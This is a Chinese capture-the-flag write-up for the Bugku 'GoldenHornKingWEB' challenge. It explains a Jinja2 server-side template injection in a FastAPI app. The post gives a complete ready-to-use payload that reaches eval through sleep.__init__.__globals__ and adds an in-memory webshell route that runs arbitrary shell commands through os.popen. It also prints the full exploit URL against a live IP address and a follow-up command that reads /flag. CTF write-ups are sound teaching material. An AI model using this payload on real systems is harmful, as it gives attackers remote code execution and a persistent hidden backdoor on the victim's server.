【Bugku】GoldenHornKingWEB

python 复制代码
import os

import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep

# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            with fail_after(timeout):
                return await func(*args, **kwargs)
        return wrapper

    return decorator

app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)

@app.get("/")
@timeout_after(1)
async def index():
    return open(__file__, 'r').read()

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
    global access
    # 将数字、百分号、非英文字母过滤并且只能access不能为true(即只能访问一次)
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        # {{{{ 就是{{ 进行转义
        # 将数字、百分号、非英文字母进行过滤,并且只能access不能为true(即只能访问一次)
        jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
        access = True
    return "fight"

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

最关键的代码就是

python 复制代码
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
        access = True
    return "fight"

这段代码将数字、百分号、非英文字母进行过滤,并且只能access不能为true(即只能访问一次)

python 复制代码
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"

出现下面这段内容就说明有SSTI漏洞

python 复制代码
.from_string( 用户可控的内容 )

而且在最后返回了一个app对象,可以通过这个app对象进行攻击利用

python 复制代码
.render({"app": app})

有了app我们可以利用SSTI更加方便,可以使用app.class、app.__globals__等

如果没有app我仍然可以使用jinjia2自带的对象request、cycler

传 app = 给黑客送一把金钥匙

不传 app = 黑客自己撬锁,麻烦一点,但还是能进去

使用add_api_route添加内存马

可以通过add_api_route来动态的添加路由,以及对应的endpoint(实际处理请求的函数)

下面这个就是python内存马

python 复制代码
add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

然后还要拿到当前的main函数,main是模块里面的,先获取moudles,moudles从sys获取,所以可以通过以下结构为当前服务添加python内存马

python 复制代码
__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())

要执行代码,还要获取eval函数或者exec函数,也就是获取到__globals__'__builtins__''eval',获取__globals__的方法很多,这里使用源码中引入的sleep

以下就是完整的payload

python 复制代码
sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")

访问下面的地址,通过eval函数给当前的main函数添加内存马

http://49.232.142.230:16800/calc?calc_req=sleep.__init__.__globals__\["__builtins__"\]\["eval"\]("__import__('sys').modules\['__main__'\].app.add_api_route(path='/cmd',endpoint=lambda cmd :import('os').popen(cmd).read())")

然后访问下就可以执行命令

http://49.232.142.230:16800/cmd?cmd=cat /flag

相关推荐
sbjdhjd5 小时前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_112211 小时前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub12 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
菩提小狗12 小时前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全
白帽攻防录13 小时前
SRC 挖洞:TanStack Start 服务器函数 XSS 深度复盘,CVE-2026-102989 怎么窃取用户会话
运维·服务器·网络安全·xss
中原第一高手13 小时前
fofatoto 1.8.0 发布:启动即知新版本、中文进度面板与更干净的 Web 日志
python·网络安全·开源·资产测绘·fofa
Bruce_Liuxiaowei14 小时前
2026年10月第2周网络安全形势周报
网络安全
黄金龙PLUS1 天前
如何基于置换算法来设计对称加密算法
算法·网络安全·密码学·哈希算法·同态加密
王大傻09281 天前
堆叠注入(Stacked Queries Injection)详解:原理、利用与防御
服务器·网络·数据库·web安全·网络安全
芯盾时代1 天前
从《人工智能安全治理框架3.0》看智能体安全治理
人工智能·安全·网络安全·智能体